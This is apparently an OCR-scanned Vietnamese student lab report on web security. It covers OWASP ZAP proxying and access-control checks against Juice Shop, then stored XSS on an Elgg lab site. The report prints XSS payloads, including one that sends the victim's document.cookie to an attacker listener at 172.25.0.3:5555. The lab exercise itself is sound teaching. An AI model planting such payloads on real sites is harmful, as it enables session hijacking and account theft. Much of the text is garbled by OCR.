Nhiém vu 4: Cau hinh dé sw dung OWASP ZAP nhw proxy Mục tiêu của nhiệm vụ nay la cai dat OWASP ZAP dé hoat động và cho phép bắt gói tin từ máy tính sinh viên trên trình duyệt web-xss..
Trang 1
HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIÊN THÔNG
KHOA AN TOÀN THÔNG TIN
PlaT
Mén hoc: AN TOAN UNG DUNG WEB VA CSDL
BAO CAO BAI THUC HANH BAI 1
Sinh viên: Nguyễn Văn Quyên
Mã sinh viên: B21DCAT161 Giảng viên: Ninh Thi Thu Trang Nhóm môn học: 01
Hà Nội, ngày 04/10/2024
ul
Trang 2
Bai 1: Broken Authentication and Session Management Nhiệm vụ I: Nhiệm vụ 1: Kiếm tra kết nỗi giữa 2 máy áo được cung cấp
Sử dụng lệnh ping từ may Student Workstation
ping 192.168.99.100
ubuntu@web-brokenauth: ~ File Edit View Search Terminal Help
ubuntu@web-brokenauth:~$ ping 192.168.99.100
PING 192.168.99.100 (192.168.99.100) 56(84) bytes of data
64 bytes from 192.168.99.100: icmp_seq=1 ttl=64 time=0.403
bytes from 192.168.99.100: icmp_seq=2 ttl=64 time=0.118
bytes from 192.168.99.100: icmp_seq=3 ttl=64 time=0.115
bytes from 192.168.99.100: icmp_seq=4 ttl=64 time=0.104
bytes from 192.168.99.100: icmp _seq=5 ttl=64 time=0.103
192.168.99.100 ping statistics
5 packets transmitted, 5 received, 0% packet loss, time 4084ms
rtt min/avg/max/mdev = 0.103/0.168/0.403/0.118 ms
ubuntu@web-brokenauth:~$
Nhiém vu 2: Mo trinh duyét web Firefox
G terminal cia may student gé lénh
firefox &
Lệnh này sẽ khoi déng firefox, sau do mé dia chi ip cua server:
http://192.168.99.100:3000
ubuntu@web-brokenauth: ~ File Edit View Search Terminal Help
ubuntu@web-brokenauth:~$ firefox &
[1] 266
ubuntu@web -brokenauth:~$
Trang 3ee 2 192.168.99.100:3990/#/
All Products
This website uses fruit cookies to ensure you get the juiciest tracking experience
Nhiém vu 3: Mé va cai dat OWASP ZAP
O terminal cia may student chạy lệnh sau
owasp-zap &
Ung dung OWASP ZAP dugc mo va chon cac y/c sau:
Chon “yes, I want to persist this session with the name based on the current timestamp” r6i nhan start
Néu ban duoc nhac “Manage Add-on”, chon close
Trang 4r-
Uj
ubuntu@web-brokenauth: :~§ Owasp-zap &
[1] 496
|ubuntu@web-brokenauth:~$ Found Java version 1.8.0
ilable memory: 1969 MB
liestte JVM args: -X 92m
805 [matn] INFO org.zaproxy.zap.GutBootstrap - OWASP ZAP 2.9.0 started 04/ 24 03:54:07 with home J/hone /ubuntu/ ZAP/
1538 [AWT-EventQueue-0] INFO org.parosproxy.paros.network.SSLConnector - Reading supported SSL/TLS jprotocols
1539 [AWT- Ev entQueue-0] INFO org.parospro paros.network.SSLConnector - Using a SSLEngine [AWT-EventQueue-0] INFO org.parospro paros.network.SSLConnector - Done reading supported SSL protocols: [SSLv2Hello, SSLv3, TLSv1, TLSv1.1, TLSv1.2]
[AWT-EventQueue-0] INFO org.parosproxy.paros.extension.option.OptionsParamCertificate - Unsafe renegottatton dtsabted
[AWT-EventQueue-0] INFO hsqldb.db.HSQLDB379AF3DEBD.ENGINE - dataFileCache open start [AWT-EventQueue-0] INFO hsqldb.db.HSQLDB379AF3DEBD.ENGINE - dataFileCache open end
Ƒ [ANT-EventQueue-9] INFO org.parospro paros.view.View - Initialising View
Oct 04, 2024 3:54:10 AM java.util.prefs.FileSystemPreferences$1 run
Created user preferences directo
P-BootstrapGUI] INFO org.zaproxy.zap.control.ExtensionFactory - Loading extensions
Untitled Session - 20241004-035507 - OWASP ZAP 2.9.0 (on web-brokenauth)
File Edit View Analyse Report Tools Import Online Help
Standard Mode #9) |) BBBaAe A424 oOo OFS bday O@Ovrox
@ Sites Sy Quick Start *{ => Request | Response [+]
ee Welcome to OWASP ZAP
y
© Contents ZAP is an easy to use integrated penetration testing tool for finding Default Context vulnerabilities in web applications
@ Sites
If you are new to ZAP then it is best to start with one of the options below
y 8 oO [2
x
ZAP 2.15.0 is available now | Learn More |
| { Siistory |S Search | PW Alerts | |) output | +
© @ | Filter: OFF @ Export
Id Req Timest | Met | URL |C | Reason) | Size Res | Highes | N | Tags
x
9
Alerts f#“0 M0 0 MO Primary Proxy: localhost:8080 Current Scans #0 Go BO Yo Oo Wo fo *K
Trang 5Nhiém vu 4: Cau hinh dé sw dung OWASP ZAP nhw proxy
Mục tiêu của nhiệm vụ nay la cai dat OWASP ZAP dé hoat động và cho phép bắt gói
tin từ máy tính sinh viên trên trình duyệt web-xss Trong phần thiết lập của Firefox, cầu hình theo các bước sau đây:
e Trên Firefox của máy tính sinh viên, mở "Preferences”
e_ Trong cửa sô tìm kiếm, gỗ "proxy”
e Trong Cai dat proxy mang, chon "Cai dat”
e Chon "Cau hinh proxy tht céng",
e Trong phan Proxy HTTP: str dung "127.0.0.1" va Céng "8080"
e Cig chon "Str dung may cht proxy nay cho tat ca cac giao thức”
° Nhấp vào "ok" để chấp nhận các cải đặt
Configure Proxy Access to the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings
Manual Broxy configuration
HTTP Proxy 127.0.0.1 Port 8080
/| Use this Proxy server for all protocols
No PfØWỹ for
localhost, 127.0.0.1
Example: mozilla.org, net.nz, 192.168.1.0/24
Automatic proxy configuration URL
Trang 6€ ca @ hftps://192.168.99.100:39( ~Ow nO =
ZB Your connection is not secure
The owner of 192.168.99.100 has configured their website improperly To protect your information
from being stolen, Firefox has not connected to this website
Learn more
Report errors like this to help Mozilla identify and block malicious sites
Advanced
192.168.99.100:3000 uses an invalid security certificate
The certificate is not trusted because the issuer certificate is unknown
The server might not be sending the appropriate intermediate certificates
An additional root certificate may need to be imported
Error code: SEC ERROR_UNKNOWN_ISSUER
Add Exception
Cài đặt trên đảm bảo Firefox sử dụng OWASP Zap làm proxy Thực hiện các bước
sau đề đảm bảo Firefox đang kết nối và sử dụng ZAP như là proxy:
Làm mới trang web "192 168.99 100:3000”
Một cảnh báo bảo mật với thông báo "Kết nỗi của bạn không an toàn" sẽ được
hiển thị
Phải chấp nhận thông báo cảnh báo này Để làm điều đó, nhấp vao
"Advanced"
Nó sẽ hiển thị chứng chi SSL va nén hién thi "SEC ERROR UNKOWN ISSUE" Bam "Add Exception" dé str dung chimg chi này.
Trang 7"Confirm Security Exception"
Add Security Exception (on web-brokenauth)
wy You are about to override how Firefox identifies this site
Legitimate banks, stores, and other public sites will not ask you to do this
Server
Location: | https://192.168.99.100:3000/ Get Certificate
| Certificate Status
š This site attempts to identify itself with invalid information View
- Unknown Identity
9 The certificate is not trusted because it hasn’t been verified as issued by a trusted authority using a secure signature
t
1 “Permanently store this exception
I Confirm Security Exception Cancel
< OWASP juice Shop X — % Preferences x £ OWASP Juice Shop x i+
€ ee @® & nttps://192.168.99.100:3000/# “Owe earch moO =
All Products
four informati
Trang 8Nhiệm vụ 5: Truy cập các khu vực bị hạn chế
Mục tiêu của nhiệm vụ này là để xem quyên truy cập nào được phép và để xác định
liệu bạn có thể truy cập vào một phần bị hạn chế, nếu bạn truy cập được thi sẽ được
phép làm bắt cứ điều gì Theo OWASP WSTG-ATHZ-01, một trong những việc đầu tiên khi xem một trang web là xem bạn có quyên truy cập vào những URL và thư mục nào Tiến hành khảo sát trang web cơ bản sử dụng trình thu thập dữ liệu trang web là phương pháp ưa thích đề thu thập dữ liệu trên trang web
Vi du 1: Path Traversal
e Phan sau day sé cho phép OWASP Zap thu thap dir liéu trang web dé xac dinh xem đường dẫn nào có thê truy cập được
e Moa OWASP Zap và thục hién quét trang web trên địa chỉ IP: 192.168.99.100:3000
e Banco thay bat kỳ liên kết nào đến các trang quản trị không?
Ble Et Wen Grate Report hire Hep
(Standard Made ow) | aj 3 52050 OFF &é @p> Xxaãm vee
[@snes| + } [ ¥ ouek start [+ Request Rezpaneet= | +
@(¿©Œœ Header: Tet /#] (8ode Tw« ¿v) (T] —]
Dioersutt Contest lò
+ @sitez
(Be Hictary [SQ search | Palos | output | i spictar | ajax Spector | g¥ wobsocket: | Py Actna Scant
ĐỔI À New Scan - Progress: | 0 htip./L02.160.69.100:2000 |] 2 *Ế Current Sears O Num requeste: 20 New Aerts:0 & Export
[SentMessages [Fitered Messages |
id Req, Tnestame Resp, Timestamp Method ‘Ske Reap Header IB
M 24 AM
> Brimare Prams lacshast AND 1 7OP put at rare no
e Vụi lòng lưu kết quả quét của bạn từ OWASP Zap, lưu nó vào màn hình nền
và đặt tên cho nó “traversal.html” nếu traversal không phái là một tùy chọn,
hãy lưu toàn bộ báo cáo.
Trang 9(standard mode ;s) BEE SG -i-#@ f2(2JØ J1 &ä @b>» @xãzmm vos
+ Í Z Guiek stert | > Request
@GoG Headen Tei jw] [Bods Tet jx) (7) )
Bocfaik contest tecnss-contfol-ALlow-OFigifiy *
° -ontent.Tres-yting; noeniff Sweorramn
Festure Policy payrent Content-Type: SG lay em charset=utt- vai ủng
*
ihe? 22.2 2/routeefarguter.3e Ter isioice:shep-il 1, 2shode andutes /exprese/tab Fen at Layer handle [ae handle re Byrouterr nae Bt runétaon proces parses, (/quiee-shop 13 Bice shop, 11-1-2/ade rcoules/espress/libyroutersinden, ja: 27:10)" õ Bridle reqiest) (/usee-stop 11.1, mode _sodules/exprese /Uub/router/layer AiberouterAindex js: 7:13T\n at 2]0ice-shcp 111.2, Bede nodules emp ishop_11 1, 2mode_todules/exprass/Lib/router/indéy.16 nat
ee [E=mm ] L9esose lễ
Flee etType: [Asch Twi Fe is)
lum requests:20 New Alerts: 0 & Export &
ị | em), cmeel 7
“URL T(1BiijLV2.LEV.V9.1UU:2000/5828t6)i€ATTagESi [code 20 UK Reason RIT 107mE— | Ste Resp Header 447By6i fe rT foul 2.68 98,1082000seeteoubhchn gen 201 0K rms 443 bytes
respi 2.168,08.100 zetslpubliclmagesi 200 0K ams 442 bytes
pf 92.168, 89,100, m:3000" teatabublehmagen 200 ok o7ms 443 bytes
200 0K 142m 443bykez
200 0K Bìme 443 bytes
403 Forbidden 2amz 288 bytes
1.086 bates 2.510 byt
8 10/4/24 4:36.24 A4 GET Ytp.//152.168.88.100.300I 300 tmterral Sener 149ms a16 yes 2,328
301 in vara 4:36 24 AM 10⁄4/24 4:36:24 AM cer ttp:192.168 88.100: See S00 Internal Server 103 ms 316 byt 20 betes
Alerts MO M2 ("3 f#2 Prlmary Pro: localhost:8080 ¿š, ZAP oL£ 0Ý đất: Curent Stans eo Go Do Ag Oo Ho fo a
vi du 2: stra d6i feedback
e Trong Firefox diéu huéng dén URL sau:
http://1 92.168.99.100:3000/#/administration
e© Sau khi vào trang quản trị, bạn có thể xóa phản hồi không? Xóa tất cả
feedback 1-sao
Nhiém vu 6: Review va Decode Session Token
Trang 10Bai 2: Tan cong Cross Site Scripting vao may chủ web Nhiém vu 1: Sw dụng mã độc hại hiện thị cửa số cảnh báo
Trong terminal của attacker, sử dụng lệnh firefox để mở trình duyệt Firefox và truy
cập trang web http://xsslabelgg.com:
@ One Bad Place x +
One Bad Place
ACtivity Blogs Bookmarks Files Groups More
Latest activity
Log In
Username or email
Password
Log ïn 2 Remember me
R ost passwor
Đăng nhập với username "boby" va mat khau la "seedboby":
@ One Bad Place: Boby x +
c)›>tgê
One Bad Place
ee ee ee ed pe
Add widgets |
Edit avatar
Edit profile
Blog:
Bookmai
Files
Pages
Trang 11
Chon Edit profile, trong muc Brief description nhaép chương trinh Javascript
<script>alert(’XSS’); </script> và chọn Save để lưu kết qua:
One Bad Place
Activity Blogs Bookmarks FilesÃẪ75 Groups vMore
Edit profile x
My display name
Boby
Bis w | ae iS IE B6-—88a
Public *
Brief description
| <script>alert(’XSS'};</script>"|
Public x
Location
Public x
Interests
Trên terminal cua victim sử dụng lệnh firefox htip:/www.xsslabelgg.com :
@ One Bad Place +
cô 4) ấ_ www.xsslabelgg.com = @ vw Q Search
One Bad Place
Actvity Blogs Beokmarks Files Groups
Log In Username or email
Password
err | Remember me
Trang 12Đăng nhập vao user Alice:
One Bad Place
Activity Blogs Bookmarks Fiies Groups vMore
Add widgets Alice
Edit avatar |
Edit profile
Blogs
Bookmarks
Pages
Wire posts
Tìm kiếm và click vào người dùng boby, cửa số thông báo mã độc:
Nhiệm vụ 2: Sử dụng mã độc hại hiện thị Cookies trên cửa số cảnh báo
Chèn chương trình Javascript vào phần Brief description:
<script>
alert(‘Cookies: ' + document.cookie);
</script>
Trang 13e-¢e @ xsslabelgg.com/profile/boby/edit + @ wy | Q Search
One Bad Place
ACtiVi ee ee ed
Edit profile +
My display name
Boby Edit zuata:
Edit p
Bru we £e~r Gina
Public *
Brief description
Í <script> alert(‘Cookies: ' + document.cookie); </script>|
Public -
Location
Public *
Interests
Quay lại người dùng alice trên trình duyệt mở bởi victim, tìm kiếm chọn lại người dùng boby, ta sẽ thấy hiện lên cửa sô với nội dung là cookies của người dùng alice
~ One Bad Place: Boby x +
€) | © xsstabelgg.com/prof tr| | Q Search
Cookies: Elgg=8annh643n8nav50p4I5q0omee0
Trang 14chinh stra muc Brief description cua nguoi ding boby thanh chương trình
<script>
document.write(’<img src=http://172.25.0.3:5555?c=’ + escape(document.cookie) +
Ss );
</script>
@ One Bad Place: Edits x +
c.›ơa ï› xsslabelgg.com/profle/bobyfed't + @ #Ì ÍQ Search Role
One Bad Place
Edit profile +
My đisplay name
Boby
About me
Bs @ |a iz j= Zoom BSD
Word count 3p
Public x
Brief description
<script>document.write(*<lmg src=http://172.25.0.3:5555?c=' + escape(document cookie)
Public x
Location
Public x
Interests
Trên terminal attacker, str dung lénh "cd echoserver/" va "./echoserv 5555" dé tién
hành bắt cookie của người dùng alice